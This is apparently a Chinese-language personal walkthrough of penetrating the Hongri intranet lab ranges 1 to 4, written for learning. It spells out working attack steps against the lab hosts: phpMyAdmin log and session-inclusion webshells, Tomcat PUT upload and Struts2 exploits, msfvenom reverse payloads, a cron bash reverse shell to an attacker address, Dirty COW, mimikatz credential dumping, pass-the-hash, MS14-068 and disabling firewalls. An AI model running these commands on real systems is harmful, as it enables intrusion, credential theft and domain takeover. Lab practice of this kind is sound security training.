红日靶场

红日靶场

红日1

搭建

下载

image-20240718223405563

image-20240718223419984

下下来解压

image-20240719204707266

拓扑图:

image-20240828174621737

VM启动

image-20240719205315322

靶场默认密码
hongrisec@2019

打开靶机

win7 开phpstudy

ip:

win7(web服务器) 10.4.7.205 192.168.52.130

win2008(域控) 192.168.52.138

win2003(域主机) 192.168.52.141

要给win7配双网卡

攻击

外网

扫描一下

nmap -sS -sV -Pn 10.4.7.205

image-20240828221908138

开放445可能有永恒之蓝漏洞

3306对应mysal

3389远程桌面连接

dirsearch也扫下吧

dirsearch -u http://10.4.7.205

image-20240828222151624

我们访问一下这个phpMyAdmin

image-20240828222329898

一个登录接口

尝试mysql常用账号密码登录

最后发现账号密码是root root

登录

image-20240828222533915

到变量这里查看

查看数据库是否可以写入–sucure_file_priv是否为null

查询之后为NULL,所以不能写入

不行的话我们就试下日志马

日志马

先看下有没有权限

查这个–general_log

image-20240828223536507

off也无所谓 我们可以改

SET GLOBAL general_log='ON';

到sql这里来执行

image-20240828223728242

没问题 已经改了

image-20240828223750556

我们指定日志写入到网站根目录 这样方便蚁剑能直接连接到

set GLOBAL general_log_file='C:/phpStudy/WWW/shell1.php'

image-20240828224101643

成功

image-20240828224118539

现在我们就sql写马到日志文件就行

select '<?php eval($_POST["cmd"]);?>'

image-20240828224356851

好 蚁剑连接

image-20240828224459083

进去后发现yxcms 考虑它是不是还搭建了一个yxcms

image-20240828224605796

看下能不能直接访问

image-20240828224659277

可以

回到蚁剑

先看下我们的权限吧

image-20240828224840699

管理员权限

查下ip

image-20240828224935726

是域用户 且有两个ip

可能有其他域主机

信息收集一下

net view

net user

image-20240828225213164

可以看到

本机名是ABC

还有2个域主机

systeminfo

看下

image-20240828225358574

内网

CS上线

CS上线一下

image-20240828225633787

连接服务器

image-20240828225739438

监听

image-20240828225816931

CS生成一个木马传到目标服务器

image-20240828230040631

上线

我们查一下域内其他主机呢

net view

image-20240828230342326

ip有了

CS的beacon反弹shell自带Mimikatz套件

我们用这个抓一下hash密码

logonpasswords

image-20240828230609954

msf上线

我们把这个会话转给msf

也可以直接msf监听啊 反正也没有权限

先生成一个木马

image-20240828230820830

msf开监听

然后蚁剑运行一下shell.exe

image-20240828230957852

上线

msf看下内网端口开放情况

use auxiliary/scanner/portscan/tcp

image-20240828231439334

看到两个ip都开放了445端口

应该是可以打一个永恒之蓝

永恒之蓝

search ms010_17

image-20240828231702732

找一个打吧

上次是用了第一个

这次用下第三个吧

use 3

set rhost 192.168.52.138

打不下来

image-20240828232307085

打一下192.168.52.141呢

也不行

不会了

先打到这吧

再学学再来

好又学了一种方法

哈希传递PTH

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面尝试通过哈希传递攻击 PTH 拿下域控主机

[哈希传递攻击]在 kerberosNTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击Pass The Hash**,简称 **PTH)

如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

利用过程

  • 先获得一台域主机的权限,dump内存获得该主机的用户密码hash值
  • 通过hash传递攻击尝试登录其他主机
  • 获取域管理员账户hash,登录域控,最终控制整个域

之前我们已经获得了所有用户的hash了

接下来

我们用cs再生成一个监听器 payload用Beacon SMB

image-20240828233748472

再添加一个会话

payload选我们设置的smbjiantingq

image-20240828233852957

点击瞄准镜图标可以看到三台主机

然后用这个模块psexec

image-20240828234009251

配置一下

image-20240828234104493

可以两个主机都打一下

image-20240828234242638

两个主机都上线

拿下

红日2

环境配置

靶机通用密码:1qaz@WSX

拓扑图

image-20240829203829259

image-20240829204750455

web.de1ay.com

nat改成111网段

网卡2改成10网段

image-20240829204327006

打开后重置一下快照1.3

image-20240829204923982

进去之后进到这个目录下面,无权限时可以输入我们设置的管理员账号密码

image-20240829205351774

还要到这个目录下开下这个服务

C:\Oracle\Middleware\user_projects\domains\base_domain\

image-20240829205724236

PC.de1ay.com

一样的

image-20240829204431159

DC.de1ay.com

只有10网段的

image-20240829204606856

weblogic:192.168.111.80 10.10.10.80

pc: 10.10.10.201 192.168.111.201

DC:10.10.10.10

攻击

外网

扫描一下

arp-scan -l

image-20240830021220252

发现两个ip

具体扫下

nmap -Pn -A -p- 192.168.111.80

image-20240830021816807

  • 445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。

  • 开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞。

  • 放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。

  • 开放7001端口可能存在Weblogic反序列化漏洞。

我们先访问一下呢

image-20240830022111732

这是一个weblogic的报错页面

我们可以用weblogic漏洞扫描工具扫一下

weblogic

python WeblogicScan.py 192.168.111.80 7001

image-20240830030337604

看到扫出后台路径访问一下

192.168.111.80:7001/console

image-20240830023049382

尝试弱密码爆破

不行

在weblogicscan扫描的时候有很多的漏洞可以利用

这里我们使用CVE-2019-2725

用msf

search cve-2019-2725

image-20240830030444727

就一个 用就完事了

呃 不行 连不上

image-20240830134342957

用工具吧

image-20240830135519335

上传一个jsp木马

image-20240830140343501

哥斯拉连接

image-20240830140455642

image-20240830140529703

内网

msf上线

上线哥斯拉后我们就可以上线msfl

msf先生成一个木马

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.111.128 LPORT=1234 -f exe -o /hacker.exe

image-20240830140939859

哥斯拉上传到目标主机

image-20240830141153400

msf监听

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.111.128
set lport 1234

run

image-20240830141456278

哥斯拉运行木马文件

上线

image-20240830141640396

尝试getsystem

image-20240830142315276

失败

socks代理扫描内网

先把他放到后台

然后添加一个10.10.10.0/24段的路由

route add 10.10.10.0 255.255.255.0 1
route print

image-20240830142654098

使用socks路由把msf带入内网,需要在proxychains.conf里面添加路由

use auxiliary/server/socks_proxy
set version 4a
run

image-20240830144339758

arp探测内网存活主机

use post/windows/gather/arp_scanner
set RHOSTS 10.10.10.0/24
set SESSION 1
exploit

image-20240830150103365

看到扫到内网ip

nmap扫下这两个ip

但是什么都没扫出来

永恒之蓝

端口开放了455

打一下永恒之蓝呢

扫描一下能不能够通过漏洞直接进行横向移动

use auxiliary/scanner/smb/smb_ms17_010
set rhost 10.10.10.0/24
set threads 5
run

image-20240830151420791

确实有永恒之蓝,打一下,但是会话不能产生

CS上线

这样的话我们就把会话转接给CS

使用payload-injectmsf的对话派生给cs

use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.111.128
set LPORT 5555
set SESSION 1
run

开CS服务器

客户端连接

CS开监听

image-20240830152202716

呃好像有点问题

那就msf转会话给cs吧

上线

image-20240830152040470

提权

直接cs脚本梼杌

使用ms014-058进行提权成功

image-20240830152958799

获得system权限

run mimikatz抓下hash

image-20240830153219401

关闭防火墙

shell netsh advfirewall show all state //查看防火墙状态
shell netsh advfirewall set allprofile state off //关闭防火墙

横向移动

还是用hash传递攻击吧

image-20240830153912877

DC上线

image-20240830154017064

且权限为system

image-20240830154042574

红日3

环境配置

和上面的差不多

网卡2–>93网段

再将所有机器全部开机

web-centos要重启一下网卡

拓扑图

image-20240830160144063

因为是黑盒测试

所以没有密码

目标是拿到域控中的一份重要文件

攻击

外网

还是扫描吧

sudo nmap -PR 10.0.0.0/24

image-20240830160536805

看到有VM的ip

确定这是我们需要的地址

具体扫下

sudo nmap 10.0.0.13 -sC -sV

image-20240830160714883

开了3306的mysql

80开的是joomla

访问一下

image-20240830160841635

dirsearch扫下

扫出来很多啊

image-20240830161227653

我们先看看robots.txt

image-20240830161156143

发现可疑目录

10.0.0.13/administrator

访问一下

image-20240830161342921

发现一个登录接口

尝试弱口令 不行 爆破 不行

dirsearch还扫出来一下东西

image-20240830161523300

我们看看这个1.php

image-20240830161555949

发现是一个phpinfo

有写文件的路径

image-20240830161702018

还有禁用了一些函数

image-20240830161745204

2.php没有什么有用的信息

在回头看看我们的dirsearch扫没扫出什么可疑路径

image-20240830161905084

发现这个10.0.0.13/configuration.php 可能是一个备份文件

看下

image-20240830161958572

ctul+u看下网页源代码

image-20240830162040039

好像是个数据库

泄露了一个mysql用户密码

并且他是开了3306端口的

尝试3306登录呢

mysql -h 10.0.0.13 -u testuser -p

image-20240830162341381

看下数据库呢

show databases;

image-20240830162507509

进joomla看下表

use joomla;

show tables;

image-20240830162722473

有两个前缀

-am2zu

-umnbt

而我们在备份文件中看到的是在am2zu里

找到可疑表

image-20240830162908007

进去看一下

select * from am2zu_users;

image-20240830162956166

看到权限是super user

有加密的密码

尝试用john跑一下

不行

因为我们权限很高 那我们就尝试修改密码

update am2zu_users set password = md5("123456") where id =891;

image-20240830163508478

image-20240830163520100

成功

回到后台 尝试登录

image-20240830163638995

成功

image-20240830163651624

DC打过这个

在templates里面可以任意文件上传

image-20240830163919409

随便插入一个一句话木马

访问一下

image-20240830164035028

没问题

蚁剑连接

image-20240830164109546

成功

尝试执行命令

image-20240830164145123

不行 完全没有回显

这是因为把eval给禁了

试试用蚁剑的插件来绕

到蚁剑的插件市场找一个

image-20240830164535793

image-20240830164613798

选择PHP7_UserFilter模式绕过

image-20240830164710292

成功

内网

脏牛提权

image-20240830164736152

看下ip呢

image-20240830165005253

192.168.93.120

说明是个出网主机 有内网

上传fscan扫描一下

image-20240830165348936

DC也扫出来了

image-20240830165416669

所以

DC:192.168.93.10

WIN2008: 192.168.93.20

WIN7: 192.168.93.30

还要之前mysql的root密码

image-20240830165609569

呃 win2008还开了一个mssql的1433

image-20240830170123908

之前我们在备份文件中还有一对账号密码

image-20240830170535311

正好它还开了ssh

尝试登录一下

ssh wwwuser@10.0.0.13

image-20240830170619506

好像失败了

搜下

需要这样

image-20240830170705006

登录成功

ssh wwwuser@10.0.0.13 -oHostKeyAlgorithms=+ssh-dss

image-20240830170746465

看下ip

image-20240830170835608

没问题

看下系统版本呢

uname -a

cat /etc/*-re*

image-20240830170933257

看到它系统内核版本比较低

考虑脏牛提权

先看下sudo提权呢

sudo -l

image-20240830171105157

不行

那就脏牛吧

看下目标主机上有没有gcc

whereis gcc

image-20240830171306622

有哈

把脏牛的C文件放到目标主机上来

看下有没有wget

whereis wget

image-20240830171751222

也有

那就用python建立一下连接

python3 -m http.server 80

image-20240830171846194

靶机wget一下

wget 10.0.0.93/dirty.c

image-20240830172010316

编译一下

gcc -pthread dirty.c -o dirty -lcrypt

image-20240830172155432

没问题

有执行权限

./dirty运行一下

image-20240830172402446

脏牛提权就是向etc/passwd里添加这条命令

这条命令有我们新设置的账号密码

Linux会先到etc/passwd里找有没有登录用的账号密码

没找到的话再到etc/shadow里面找

image-20240830172700356

看到已经写入成功了

那就

su firefart

image-20240830172805986

可以看到权限为root

msf上线

都有了root权限了

其实感觉上不上线都无所谓了

但是为了横向移动的时候方便移动 还是要上线msf

msf生成木马文件

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=1106 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf

msf开监听

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 10.0.0.13

set LPORT 1106

run

smb爆破

因为开了445端口 尝试一下smb爆破

先爆win7

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.93.30

set pass_file /home/kali/Dsektop/1.txt

set SMBUser administrator

run

image-20240830175144268

密码是123qwe!ASD

DC:

一样的

image-20240830175305122

一样的密码

win2008也是一样的

psexec攻击

search psexec

use 4

image-20240830175444879

set SMBUSER administrator

set SMBPASS 123qwe!ASD

image-20240830175619946

set payload windows/x64/meterpreter/bind_tcp

set RHOSTS 192.168.93.20

exploit

image-20240830175915290

成功

image-20240830180006451

权限是系统权限

同理可以用psexec连接win7

mimikatz抓密码

load kiwi

image-20240830180330251

creds_kerberos

image-20240830180436309

抓到域控密码

zxcASDqw123!!

再psexec攻击域控

set SMBPASS zxcASDqw123!!

set SMBDomain TEST.ORG

set RHOSTS 192.168.93.10

run

image-20240830180920238

e 不太行

wmiexec

这个组件如果我们有账号密码可以直接执行命令

proxychains impacket-wmiexec test/Administrator@192.168.93.10

image-20240830181401843

dir /s 找下重要文件呢

image-20240830181551428

找到一个flag.txt

cd到目标文件夹

type看下

image-20240830181732422

拿下

红日4

环境配置

image-20240830231521018

两个仅主机157和183网段的网卡 VM0 VM1

web

两张网卡wm1 wm0

image-20240830232009802

DC 一张网卡 VM1

image-20240830232106911

win7 一张网卡 VM1

image-20240830232410537

WEB要等到win7开启来后再开

  • web:ubuntu:ubuntu
  • DC:administrator:Test2008
  • win7:douser:Dotest123

WIN7要改一下电源计划 默认是10min

改成从不

image-20240830232620131

web

要在root权限后开一下docker

image-20240831002654041

开前三个容器和最后一个容器

拓扑图

image-20240830235510228

攻击

外网

信息收集

先信息收集吧

netdiscover -r 192.168.157.0/24

image-20240830233444263

扫到一个192.168.157.131

再用nmap扫下这个ip

sudo nmap -p- -A 192.168.157.131 -o result.txt

image-20240830233651604

22开放了ssh

2001是struts2框架

2002是Tomcat

2003是阿帕奇

访问一下

2001:

image-20240830233904019

是一个文件上传

struts2历史漏洞利用

struts2存在很多历史漏洞

可以用这个扫描工具直接扫描并利用

Struts2全版本漏洞检测工具

image-20240830234203174

还有这个

shack2/Struts2VulsTools

image-20240830235348644

差不多的都可以利用

这里我们用一个脚本

ST2G

这个需要虚拟机可访问外网 有些依赖需要下载

因为是go写的 用的时候要go build

./ST2G -h

看下帮助

image-20240830234519895

按照帮助使用

./ST2G --url http://192.168.157.131:2001/ --mode scan

image-20240830234718950

它扫到了一个Struts2-045

利用一下

./ST2G --url http://192.168.157.131:2001/ --mode exec --vn 45 --cmd id

image-20240830235234013

利用成功

./ST2G --url http://192.168.157.131:2001/ --mode exec --vn 45 --cmd "ls -al /"

看下根目录呢

image-20240830235736604

发现一个docker的文件

判断这个web服务是放在docker里面的

看下权限呢

./ST2G --url http://192.168.157.131:2001/ --mode exec --vn 45 --cmd "whoami"

image-20240831000114423

已经是root权限了

这个脚本是没有提供反弹的

我们自己写一个反弹

看下有没有python呢

./ST2G --url http://192.168.157.131:2001/ --mode exec --vn 45 --cmd "whereis python3"

image-20240831000337206

那我们就可以直接利用python反弹shell了

Tomcat8.5.19任意文件上传

看了2001端口

我们看下这个2002的Tomcat呢

访问一下

image-20240831000600299

网上搜一下这个版本的汤姆猫的漏洞呢

image-20240831000729835

有一个任意文件上传漏洞

这是因为它开启了put和head 但又没有做任何过滤

CVE-2017-12615

bp抓包

原始包

image-20240831001436481

我们把get改成head

image-20240831001459251

请求存在

再看下put

把head改成put

image-20240831001605543

请求存在

这个漏洞就是我们可以用put进行文件上传

这里我们随便输点什么

image-20240831001713357

可以看到 成功了

并且可以访问成功

image-20240831001806113

这样的话我们就可以上传我们的木马文件了

image-20240831001927664

但是这里有个问题是如果我们直接上传.jsp文件的话 被404了

明显被过滤了

绕过:

加个斜杠就好了

image-20240831002053283

可以看到

.jsp/传上去没有问题

image-20240831002131126

可以正常访问

好那就哥斯拉生成jsp木马上传

image-20240831002231191

image-20240831002253565

可以访问且没有报错

哥斯拉连接

image-20240831002347854

成功

image-20240831002410114

命令执行也没有问题

并且权限是root

phpMyadmin4.8.1任意文件包含

访问一下

image-20240831002804491

熟悉的phpmyadmin

image-20240831002833401

4.8.1

搜一下

image-20240831002924658

可以看到是存在一个文件包含漏洞

按找这个打一下

192.168.157.131:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20240831003238698

这里我们包含etc/passwd

包含成功

那我们应该怎么包含shell呢

phpMyadmin是可以通过包含session来把历史执行的命令存储

image-20240831003937228

这里我们先执行这个

select "<?php phpinfo();?>"

然后把我们的session拿下来

image-20240831004100550

这里我们的session是0ea8460f3cd3973a31e0fcdca3bc

这里session的默认存储路径就是在tmp下

192.168.157.131:2003index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_0ea8460f3cd3973a31e0fcdca3bc

因为前面我们执行了phpinfo 它就会储存到这个里面 我们再访问这个的话就会执行

image-20240831004822444

执行成功

好现在我们来包含一个一句话木马

这个session已经不能用了

我们登出 换个session

写一个一句话木马

select '<?php file_put_contents("shell.php", "<?php @eval(\$_POST[1]);?>");?>';

image-20240831005055900

再包含session

192.168.157.131:2003index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_e8a2616071f4d82a2130bb6fad3f74ad

image-20240831005205238

包含成功

image-20240831005306911

访问没有报错

hackbar post传1=phpinfo();

image-20240831005426814

执行成功

那也就可以连接哥斯拉了

打入成功

内网

这里我们随便用一个漏洞打进去

连接哥斯拉

docker逃逸

前面我们知道了他的web服务是在docker里面

现在我们必须进行docker逃逸

先看下当前的挂载磁盘

fdisk -l

image-20240831163912189

然后我们新建一个文件夹

把主机的文件挂载到我们新建的文件夹下 这样我们就可以操作主机

mkdir /test

image-20240831165253953

mount /dev/sda1 /test

/dev/sda1 这是主机的默认挂载磁盘

把sda1 挂载到test里面

image-20240831165425933

可以看到主机的文件已经挂载过来了

现在我们有多种手法可以操作主机

计划任务逃逸

既然到了跟目录

我们就可以考虑写一个计划任务来反弹shell

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.111.132/4444 0>&1" >> tmp/shell.sh

这行代码将一个字符串写入到tmp/shell.sh文件中。这个字符串是一个bash命令,它会启动一个交互式的bash shell,并将其输出重定向到一个TCP连接上。这个连接指向192.168.111.132的4444端口。

chmod 777 tmp/shell.sh

赋权

echo '*/2 * * * * root bash /tmp/shell.sh' > etc/crontab

将一个cron任务添加到etc/crontab文件中。这个任务每两分钟执行一次,以root用户的身份运行/tmp/shell.sh脚本

  • */2:这是分钟字段,表示任务将在每小时的0分、2分、4分…58分执行。*/2意味着每隔两分钟执行一次。
  • *:这是小时字段,表示任务将在每个小时执行。单独的*代表所有可能的值(0-23小时)。
  • *:这是日期字段,表示任务将在每个月的每一天执行。单独的*代表所有可能的值(1-31日)。
  • *:这是月份字段,表示任务将在每个月执行。单独的*代表所有可能的值(1-12月)。
  • *:这是星期字段,表示任务将在每周的每一天执行。单独的*代表所有可能的值(0-7,其中0和7都代表周日)。
  • root:这是执行任务的用户。在这个例子中,任务将以root用户的身份执行。
  • bash:这是用来执行脚本的解释器。在这个例子中,它指定了使用bash shell来执行后面的脚本。
  • /tmp/shell.sh:这是要执行的脚本文件的路径。

综上所述,这行代码的意思是:作为一个root用户,每两分钟执行一次位于/tmp目录下的shell.sh脚本。

image-20240831170301468

然后kali监听即可

image-20240831170336723

上线

这样就已经成功逃逸docker

爆破id_rsa私钥

ssh中不仅可以直接用账号密码登录

在ssh中还存放着id_rsa 如果你知道这个的密码也可以进行ssh登录

id_rsa文件存储了用户的私钥

当用户尝试通过SSH连接到远程服务器时,服务器会使用用户的公钥来加密一个消息,然后发送给用户。用户的SSH客户端会使用id_rsa私钥来解密这个消息。如果解密成功,服务器就知道用户拥有与之配对的私钥,从而验证了用户的身份。

我们先找到ssh的存放路径

image-20240831172232106

home下有一个ubuntu

进去看一眼

image-20240831172330187

ls -al看下隐藏文件

image-20240831172427467

可以看到有一个.ssh文件

这就是ssh的存放路径

进去

image-20240831172503195

找到我们需要的id_rsa

这个id_rsa.pub是公钥文件

把id_rsa里面的内容扒下来

先cat 看下

image-20240831172651274

内容拿到kali去爆破

先新建一个文件来保存

vi id_rsa

用这个

ssh2john id_rsa

image-20240831172912802

这可以把我们的id_rsa里的内容转成hash

保存

ssh2john id_rsa > id_rsa.hash

然后就可以john爆破了

john id_rsa.hash

image-20240831173127479

但是这个比较难爆破啊

不一定出的来

给下权限

chmod 600 id_rsa

然后就可以登录了

ssh ubantu@192.168.157.131 -i id_rsa

image-20240831173506559

这里输入的密码就是john爆出的密码

爆破ssh登录密码

既然我们都想到了爆破ssh的密钥

那么我们为什么不直接爆破ssh登录的账号密码呢

众所周知

shadow中存放了linux的账号密码

我们就可以直接爆破shadow

image-20240831174420403

到etc下 把shadow拿下来

kali

vi shadow

保存

john shadow

爆破

image-20240831174841435

不行的话可以这样

john /etc/shadow --wordlist=/usr/share/wordlist/seclists/Passwords/darkweb2017-top10000.txt --format=md5crypt-long

指定字典和数据格式

通过爆破

我们可以看到账号密码是 ubuntu ubuntu

这样我们就可以直接ssh登录了

ssh ubuntu@192.168.157.131

image-20240831175520411

登录成功

ssh免密登录

我们可以爆破id_rsa

那么其实我们可以直接把我们直接的公钥传上去

这样在私钥和公钥配对我们就可以直接免密登录

kali显卡http

python3 -m http.server 8080

image-20240831175804104

靶机wget把kali的公钥下下来

wget http://192.168.93.130:8080/id_rsa.pub

image-20240831175925611

公钥拷贝到ubuntu的.ssh中

cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys

image-20240831180048697

给公钥赋权

给authorized_keys 644权限

image-20240831180138272

ssh登录

image-20240831180158878

成功

提权

ip a

看下网卡

image-20240831180605735

可以看到有外网网卡 也有内网网卡

看下能不能用sudo呢

sudo -l

image-20240831180716793

ALL!

那就随便提了

sudo -s

image-20240831180751139

内网信息收集

上传fscan扫描一下

看下有没有wget呢

whereis wget

image-20240831182904038

kali开http

python3 -m http.server 80

image-20240831183022915

把fscan下下来

wget 192168.157.129/fscan

image-20240831183200543

给fscan赋权

chmod +x fscan

开扫

,/fscan -h 192.168.183.0/24

image-20240831183356325

image-20240831183516574

192.168.183.131和192.168.183.130都扫到了永恒之蓝

可以看到130是DC 并且开了88端口

88端口可以打ms14-068

445端口可以打ms17-010

这里上线msf然后用nmap也是可以的

use auxiliary/scanner/discovery/udp_probe

set rhosts 192.168.183.0-255

set threads 5

run

这个可以扫描域内主机

然后nmap具体扫描就可以

frp内网穿透

因为现在我们的网段和内网的网段不一样 不能直接访问

所以现在我们需要建立一下正向代理

image-20240831185033838

把frp客户端文件传上去

改下客户端配置文件

vi frpc.ini

image-20240831185127036

看下服务端配置文件

cat frps.ini

image-20240831185327991

监听7000端口

服务端运行一下

./frps -c ./frps.ini

image-20240831185453918

给frpc赋权一下

chmod +x frpc

客户端运行

./frpc -c ./frpc.ini

可以这样

./frpc -c ./frpc.ini &

让他在后台运行

netstat -ntpl | grep 8989

看下8989端口开没

image-20240831185952662

开了的

image-20240831190605133

成功

永恒之蓝

这里我们已经可以与内网主机联通了

我们直接msf打一个永恒之蓝

设置一下全局代理

setg proxies socks5:127.0.0.1:8989

这里是攻击机打内网 而内网的主机的网卡是仅主机模式 不能连接外面 而外面可以连接里面

所以这里我们的payload是正向的bind_tcp

set payload windows/x86/metetpreter/bind_tcp

image-20240831191501918

其他的就一样了

先打这个win7 192.168.183.131

image-20240831191729014

上线

shell

先看下权限呢

image-20240831191853563

system权限

mimikatz抓密码

先抓下密码

load kiwi

image-20240831193630891

随便抓下

creds_all

image-20240831193813968

抓到

3389远程桌面控制

抓到了密码 我们就试试远程桌面

先看下3389端口开没

netstat -nao | findstr 3389

image-20240831194506776

e 没开

我们改一下注册表开一下3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20240831194633643

开启成功了

再看下3389开没

image-20240831194713113

已经开了

用proxychains看看能不能控制远程桌面

proxychain rdesktop 192.168.183.131

image-20240831194955273

好连接成功了

用刚才的账号密码登录一下域用户呢

image-20240831195046881

咦 怎么不太行

image-20240831195105781

要重新验证一下服务器和域之间的关系

要先解绑一下当前的域 把他切换成工作组 在绑定一下域

我们先改一下系统管理员的密码

net user administrator Admin12345

image-20240831195514725

我们用这个账号密码来登录

我们登录它的本地 不登录他的域了

image-20240831195637099

又报错

image-20240831195654574

被停用了

那我们就激活一下

net user administrator /active:yes

image-20240831195811936

再登录

image-20240831195923135

成功

image-20240831200009701

它内置了一些可利用的payload

ms14-068攻击DC

我们用ms14-068攻击一下DC

cd过去

.\MS14-068.exe

image-20240831200236336

这个需要域用户的sid

回去找下

先到域进程里

migrate 2479

image-20240831200500198

whoami /user

image-20240831200605874

拿到sid

拿完整域名

image-20240831200920173

./MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

image-20240831201302532

攻击成功

在本地生成了一个TGT……的缓存

现在 又用mimikatz抓下票据

image-20240831214822671

不行

把我们刚刚生成的缓存用ptc导入(高权限票据注入内存)

kerberos::ptc TGT_douser@demo.com.ccache

image-20240831215223552

再抓下票据

image-20240831215452963

这次抓到了

net view

image-20240831215927655

看下能不能访问到这个域控的C盘呢

dir \\WIN-ENS2VR5TR3N\C$

image-20240831220103685

成功

它本地还要一个这个PsExec64.exe

我们也可以用这个来直接获取域控的cmd

PsExec64.exe /s /accepteula \\WIN-ENS2VR5TR3N cmd

不行的话还是把票据导入进来

image-20240831220904149

成功

msf上线DC

刚刚我们扫到域控是有永恒之蓝的

可以用msf打DC的永恒之蓝

run

netstat -nao | findstr 4444

image-20240831221226599

4444端口已开

image-20240831221324180

但是失败了

应该是DC开了防火墙

直接给他防火墙关了

netsh advfirewall set allprofiles state off

image-20240831221532626

再打

image-20240831221604222

上线 成功